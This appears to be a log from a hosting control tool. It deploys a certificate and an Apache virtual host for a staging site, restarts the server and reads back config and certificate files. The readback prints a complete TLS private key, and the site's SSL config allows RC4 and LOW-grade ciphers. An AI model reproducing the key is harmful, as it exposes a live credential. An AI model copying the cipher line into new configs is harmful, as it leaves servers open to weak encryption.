QtzTKDFxmnMqCGuPBEBCWwR6kUqnV7Q8BYulm9F9FNZOySWSNHL9DfL9grNJkfAF
h5Z32t5K6kvgGpWeIWVydrY08OYXatpFCBREosECgYEAwhAMzXjv3YCsYZCAmTgE
s3NxRVozcaaGdn1pV8eUdbWwSnjWV7exvvotQCZZ4nl19v/evzDApBeoefnJ9uI9
nC54+CIXzp2CRg6P8H8qeAX6bupPXKwPz29Pv45BnOfvHNG2/OABLTViuRx17PsK
zbXlPixBP16xXV1M5QCQ/GE=
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2jCCAsKgAwIBAgIQTr0klH4k05SALYSlL9WzGTANBgkqhkiG9w0BAQsFADAu
MQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQMA4GA1UEAxMHUm9vdCBZUjAe
Fw0yNTA5MDMwMDAwMDBaFw0yODA5MDIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYw
FAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQDEwNZUjIwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQDZ0LxwBppqh84luqMerV/eeL/fXQ7mLQQv1Lnp
WKZbyvGpx6wh6AfnslAnF6ewTkcHA+gSOoBvm3Dfm06AuGiF+KRut4fAcowqnAQQ
CW98+QPP/eOv/wug7Iyk4NkOxf2I6g2f55T6nJoOTLFcukeRq80JGQEYan+dPFr9
OGUgQK2hGKgNkW87pappsOAuUJcroYhRt5uUis4qaZireiseu32gzDJNBAiKtsvd
6HX4v25bpkRNcS/B/Gtc9kVbUpD+2PLPxdei3Tim55k4tfAEXwD2qyiPTxrTNq6l
N+AMr5g2c1dNqkOTwjxeV6L5lpP1rGiYvLnRaPlOqyZRPW+5AgMBAAGjge4wgesw
DgYDVR0PAQH/BAQDAgGGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMBIGA1UdEwEB/wQI
MAYBAf8CAQAwHQYDVR0OBBYEFEAVLSZ57TIgnt+ach3WMh+BDIEMMB8GA1UdIwQY
MBaAFN7nW2DQIm1AKH0/DQH+pLVStFGUMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEF
BQcwAoYWaHR0cDovL3lyLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAEC
ATAnBgNVHR8EIDAeMBygGqAYhhZodHRwOi8veXIuYy5sZW5jci5vcmcvMA0GCSqG
SIb3DQEBCwUAA4ICAQB0ZUQWZ9/Yn9COEpo+JfecMnB0h0vwDm/M66IqXqw3LoaL
mx9lZvRTeDIS67PUeI3yCA2W6PKRD0/FE/G57lOmS+Xy5AaaL00ICGOqjNcCaMWW
8o8nevHOd4i4lqgtznE/28QwlcdJyF8yBiWHpnyjhEpmNWJURgOCOg2xpwRMBCsj
MScqYPtOhBeuYQvSwAEeTML2Ukh6uGuX4E14q65Ja8cdjF5bAldnP1eE4FBaAwsZ
G2fOqqrKV03Y85Nw2btedP1AtliQuJZs/Jo/gXxXdc7LrH3McgnpnbTiAncX7yES
hP6kzQejllqMCIt52HOjxDGWafS7Xw+DKwqmH+Eqy8dcbOuag/1AYlQoKNVK3F5q
Hh6tEDiMqQcLIibGKteE6iHo4A/bIScbzrhXUYuism42ZYzmc48FMVIH3qy4L84E
TdAH2gtxw0PAhvRVXp8HP7wfngpzsN/8xOTpeRSbM4+Qbc56G6+Bifmv6sk1ieQb
NA3wJdl4DDUuQSV8hBgx6zoI1ZSGORprDFux7c6rhc77QZMSRrEgomBeklervEve
86ylWmZ3WWHV6RLMi8xNvjd71r4EPIGgY7BZU/VPBkq+uA7Gb6mbJnFgV43uh3xy
LRFgxIAphIukwTGSMZZR+AI+Qnp0BYTWovHXozOf3H8r6hozEoT02JHn0AeTfA==
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-06-21 06:00:19: 

chmod 755 /tmp/pkp738157; /tmp/pkp738157; rm /tmp/pkp738157

2026-06-21 06:00:19: 


dir=/etc/ssl/certs


2026-06-21 06:00:19: 

PUT: /tmp/pkp484998

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/theyoungdesigners_stage.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-06-21 06:00:20: 

chmod 755 /tmp/pkp484998; /tmp/pkp484998; rm /tmp/pkp484998

2026-06-21 06:00:20: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/theyoungdesigners_stage.conf 47

<VirtualHost *:80>
    ServerName	stage.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/mnt/internal/www/theyoungdesigners_stage/public
    <Directory /mnt/internal/www/theyoungdesigners_stage>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/www_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/www_error.log
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	stage.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/71986a4933a5df06d6ba64d41a00e6e1.crt
    DocumentRoot	/mnt/internal/www/theyoungdesigners_stage/public
    <Directory /mnt/internal/www/theyoungdesigners_stage/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/stage_secure_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/stage_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-06-21 06:00:20: 

PUT: /tmp/pkp696771

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=theyoungdesigners_stage.conf
TARGET=/etc/apache2/sites-enabled/theyoungdesigners_stage.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	stage.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/mnt/internal/www/theyoungdesigners_stage/public
    <Directory /mnt/internal/www/theyoungdesigners_stage>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/www_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/www_error.log
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	stage.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/71986a4933a5df06d6ba64d41a00e6e1.crt
    DocumentRoot	/mnt/internal/www/theyoungdesigners_stage/public
    <Directory /mnt/internal/www/theyoungdesigners_stage/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/stage_secure_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/stage_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/theyoungdesigners_stage.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/theyoungdesigners_stage.conf)= /etc/apache2//etc/apache2/sites-enabled/theyoungdesigners_stage.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/theyoungdesigners_stage.conf= 1'
fi


2026-06-21 06:00:20: 

chmod 755 /tmp/pkp696771; /tmp/pkp696771; rm /tmp/pkp696771

2026-06-21 06:00:20: 




2026-06-21 06:00:20: 

PUT: /tmp/pkp882816

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-06-21 06:00:21: 

chmod 755 /tmp/pkp882816; /tmp/pkp882816; rm /tmp/pkp882816

2026-06-21 06:00:21: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-06-21 06:00:21: Establishing a connection
2026-06-21 06:00:22: 

PUT: /tmp/pkp663248

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-06-21 06:00:23: 

chmod 755 /tmp/pkp663248; /tmp/pkp663248; rm /tmp/pkp663248

2026-06-21 06:00:23: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost cdn4.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf:2)
         port 80 namevhost alive.pjy.us (/etc/apache2/sites-enabled/pjy_alive_us.conf:2)
         port 80 namevhost stage.theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_stage.conf:2)
         port 80 namevhost youngrepairs.com (/etc/apache2/sites-enabled/youngrepairs_www_com.conf:1)
                 alias www.youngrepairs.com
*:443                  is a NameVirtualHost
         default server cdn4.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf:18)
         port 443 namevhost cdn4.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf:18)
         port 443 namevhost alive.pjy.us (/etc/apache2/sites-enabled/pjy_alive_us.conf:19)
         port 443 namevhost stage.theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_stage.conf:21)
         port 443 namevhost youngrepairs.com (/etc/apache2/sites-enabled/youngrepairs_www_com.conf:23)
                 alias www.youngrepairs.com
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-06-21 06:00:23: 

PUT: /tmp/pkp419307

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/theyoungdesigners_stage.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-21 06:00:24: 

chmod 755 /tmp/pkp419307; /tmp/pkp419307; rm /tmp/pkp419307

2026-06-21 06:00:24: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/theyoungdesigners_stage.conf	1424

<VirtualHost *:80>
    ServerName	stage.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/mnt/internal/www/theyoungdesigners_stage/public
    <Directory /mnt/internal/www/theyoungdesigners_stage>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/www_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/www_error.log
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	stage.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/71986a4933a5df06d6ba64d41a00e6e1.crt
    DocumentRoot	/mnt/internal/www/theyoungdesigners_stage/public
    <Directory /mnt/internal/www/theyoungdesigners_stage/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/stage_secure_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/stage_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-06-21 06:00:24: 

PUT: /tmp/pkp606054

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/71986a4933a5df06d6ba64d41a00e6e1.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-21 06:00:24: 

chmod 755 /tmp/pkp606054; /tmp/pkp606054; rm /tmp/pkp606054

2026-06-21 06:00:24: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/71986a4933a5df06d6ba64d41a00e6e1.crt	7449
61:14:ae:5b:86:ea:1e:5b:18:fd:4e:76:04:37:46:64

-----BEGIN CERTIFICATE-----
MIIFEjCCA/qgAwIBAgISBUpuXFPM61kHt43+w2zzp5b3MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjIwHhcNMjYwNjIxMDUwMTQ0WhcNMjYwOTE5MDUwMTQzWjAmMSQwIgYDVQQD
ExtzdGFnZS50aGV5b3VuZ2Rlc2lnbmVycy5jb20wggEiMA0GCSqGSIb3DQEBAQUA
A4IBDwAwggEKAoIBAQCwL8RBhhdoLthhMZSUF9zcLf3FdHNdpm9JuD4D1wFVsH4F
iC7unkNv9fRgSsvvzkLBFQ+whO2CfwAd4Z+wz/ZFXN8W5dp9RtmFlShHBBegOprQ
Zd0ZlwjUFqnAQOmOAnsPpb1vhnMPW7EEr+dXtmmVrRc/NKOy/gZ8+QSosJyxhwHy
7SeeoYGVbQ5iRE1dwNzfYdo8Wrm5QzxiI8Lz3BiX4UgkOj0pAaY5ewTbZ8ZSzg8l
1kmv2yW4DYfNOirC04BS/ayul8vlfaVYxUmTFauXo581qvt5Z75F8YyEtyE3i1aQ
xbnAjQ6ZSPPCe8quxrjQxF8tSgXhHA7HNoLF/3WpAgMBAAGjggIrMIICJzAOBgNV
HQ8BAf8EBAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAd
BgNVHQ4EFgQUJNLwSs8XgwHvtF2a3cpPJW0zraMwHwYDVR0jBBgwFoAUQBUtJnnt
MiCe35pyHdYyH4EMgQwwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRw
Oi8veXIyLmkubGVuY3Iub3JnLzAmBgNVHREEHzAdghtzdGFnZS50aGV5b3VuZ2Rl
c2lnbmVycy5jb20wEwYDVR0gBAwwCjAIBgZngQwBAgEwLwYDVR0fBCgwJjAkoCKg
IIYeaHR0cDovL3lyMi5jLmxlbmNyLm9yZy8xMjAuY3JsMIIBDQYKKwYBBAHWeQIE
AgSB/gSB+wD5AHcAr2eIO1ewTt2Pptl+9i6o64EKx3Fg8CReVdYML+eFhzoAAAGe
6MPs0AAABAMASDBGAiEA/+ANFmwbJ1M+FgTGnioaicnUaqeSMNgVFd1uzqhOc3UC
IQCmpLU2EYW7qGR2it+WmuByrGCBLBK7y6+yRf+mH06OwwB+ACbjZG5YaSEjvDQ/
RyQ1mzeSzSRaiNgV05Mz/ZkYq0cjAAABnujD6ucACAAABQAgWqbKBAMARzBFAiBh
fsCph8rzN8HxhzZoiLosl7n20qjZig2Pa8L2NfQcOwIhAIssn+OI01g9ntWO0Rre
XOOeoWt1rk01hB8d0dKV3jjwMA0GCSqGSIb3DQEBCwUAA4IBAQCRRwseulrbq96v
w1F/ck3pZpAnuCGoSfBgNhbK8iiRlS9Yi0qx6Qtrct9JW2fqsEnMIIhwkLf2jcLx
ancQNpJvpqxZF/Ozq1gQDA2RRaBKJSuivRm13nGA0zpuoQhSsqNlC0jCg3nH6zIc
1lq6quhqYlx4CtixHr1v9JQCX/6cLtxZJBk1QGnErB2JAPAlTZHnPw5bin74GU1R
Cp0kIMPHHGm2MXH19eI9GpyO9Q8DcBaqRau45Ih6Drh76rPY3tiOD2jO35KdcLF1
zsmg5wKAE1VHPhPlAatxL6nnw15Y7x2rF2/kov78PWzSuJzdoWWUSU/xpUefLYDP
wr6KRtI+
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCwL8RBhhdoLthh
MZSUF9zcLf3FdHNdpm9JuD4D1wFVsH4FiC7unkNv9fRgSsvvzkLBFQ+whO2CfwAd
4Z+wz/ZFXN8W5dp9RtmFlShHBBegOprQZd0ZlwjUFqnAQOmOAnsPpb1vhnMPW7EE
r+dXtmmVrRc/NKOy/gZ8+QSosJyxhwHy7SeeoYGVbQ5iRE1dwNzfYdo8Wrm5Qzxi
I8Lz3BiX4UgkOj0pAaY5ewTbZ8ZSzg8l1kmv2yW4DYfNOirC04BS/ayul8vlfaVY
xUmTFauXo581qvt5Z75F8YyEtyE3i1aQxbnAjQ6ZSPPCe8quxrjQxF8tSgXhHA7H
NoLF/3WpAgMBAAECggEABXguJQSXJG5T3EyQOrq06gbpemA/lpgsm0LDdhYOHg1h
FCXioxi5qjed8wFPbG3gR6MyPf4aa3Mq20KeVPxXvlaAPHM9QadZ6Fo1imLXous+
1Bpdb0ZviTn84hGBzp1IGbfA9j3bw43KpIUbbu8kPvfFIXquXEejhuyqFtyIuMAV
bpIJtnmHlGfKyS6XE4Yh4hQE/5al8AV8Y7Gx5Bfo6vttWn5SB26Oco7GCZbjOYJM
34wfTIIkOwaGHv1aNTmLaVPlsEbZM4xV8JyK6ruODE8GsHYcjZrd+O91FHKvTfuX
xroCvTexGntehbkzRP7leXGFHO+lOCcwbTelooaNAQKBgQDr8e8GfACORnLrV/9u
2nLmDVEGASVRUHZtjBbAjFFdM2YRdrCefBj/iraxeCyQ/qCAOvjXwKUcgKLU2QOh
PVLPrqN9KgAajg2hqSzw50uzpqcL1pasRUbLQkYyomkYWmkK8wNw287DRwpIDB4Z
XBBvmSzNSM6z9CmjYKI8PAlIaQKBgQC/KYN5FqT4WZAZ+9BxyCt/ojMru2kOvAu7
4EuZTPQ9EsZKocAp//IKY14DsSEPJxCh37rMY6x5b3EZEBZtAuxBzWWSNZEnAU15
yJMO1mLAyEV+fDvhhBp1llUX1eCYGXtptlKNcR1hgiBYZtBS/UDD26yjo9X16B0x
BxC9TNkbQQKBgC/0VCh1O4evOdwrXnchXwjy2+zkfrkwKWHKfzVTT5YpxCz4ep07
i7kkcE1Rp30ww15Mnhb7yJMqce3gzaQP2qzrSb8+shazmIGq6L9twy0YSgtV6fnJ
esIFDk9sQv/4IDFhgumFQ1jdL3HFRLjSxWRpNXnjul9I2M2j7lVfvmNBAoGARJQJ
BWy5PBstVhT/f4I3EK/IubyfANk3QGxD0rhHuo08s9N5U9ftJgrl1F88I+p4zgms
QtzTKDFxmnMqCGuPBEBCWwR6kUqnV7Q8BYulm9F9FNZOySWSNHL9DfL9grNJkfAF
h5Z32t5K6kvgGpWeIWVydrY08OYXatpFCBREosECgYEAwhAMzXjv3YCsYZCAmTgE
s3NxRVozcaaGdn1pV8eUdbWwSnjWV7exvvotQCZZ4nl19v/evzDApBeoefnJ9uI9
nC54+CIXzp2CRg6P8H8qeAX6bupPXKwPz29Pv45BnOfvHNG2/OABLTViuRx17PsK
zbXlPixBP16xXV1M5QCQ/GE=
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2jCCAsKgAwIBAgIQTr0klH4k05SALYSlL9WzGTANBgkqhkiG9w0BAQsFADAu
MQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQMA4GA1UEAxMHUm9vdCBZUjAe
Fw0yNTA5MDMwMDAwMDBaFw0yODA5MDIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYw
FAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQDEwNZUjIwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQDZ0LxwBppqh84luqMerV/eeL/fXQ7mLQQv1Lnp
WKZbyvGpx6wh6AfnslAnF6ewTkcHA+gSOoBvm3Dfm06AuGiF+KRut4fAcowqnAQQ
CW98+QPP/eOv/wug7Iyk4NkOxf2I6g2f55T6nJoOTLFcukeRq80JGQEYan+dPFr9
OGUgQK2hGKgNkW87pappsOAuUJcroYhRt5uUis4qaZireiseu32gzDJNBAiKtsvd
6HX4v25bpkRNcS/B/Gtc9kVbUpD+2PLPxdei3Tim55k4tfAEXwD2qyiPTxrTNq6l
N+AMr5g2c1dNqkOTwjxeV6L5lpP1rGiYvLnRaPlOqyZRPW+5AgMBAAGjge4wgesw
DgYDVR0PAQH/BAQDAgGGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMBIGA1UdEwEB/wQI
MAYBAf8CAQAwHQYDVR0OBBYEFEAVLSZ57TIgnt+ach3WMh+BDIEMMB8GA1UdIwQY
MBaAFN7nW2DQIm1AKH0/DQH+pLVStFGUMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEF
BQcwAoYWaHR0cDovL3lyLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAEC
ATAnBgNVHR8EIDAeMBygGqAYhhZodHRwOi8veXIuYy5sZW5jci5vcmcvMA0GCSqG
SIb3DQEBCwUAA4ICAQB0ZUQWZ9/Yn9COEpo+JfecMnB0h0vwDm/M66IqXqw3LoaL
mx9lZvRTeDIS67PUeI3yCA2W6PKRD0/FE/G57lOmS+Xy5AaaL00ICGOqjNcCaMWW
8o8nevHOd4i4lqgtznE/28QwlcdJyF8yBiWHpnyjhEpmNWJURgOCOg2xpwRMBCsj
MScqYPtOhBeuYQvSwAEeTML2Ukh6uGuX4E14q65Ja8cdjF5bAldnP1eE4FBaAwsZ
G2fOqqrKV03Y85Nw2btedP1AtliQuJZs/Jo/gXxXdc7LrH3McgnpnbTiAncX7yES
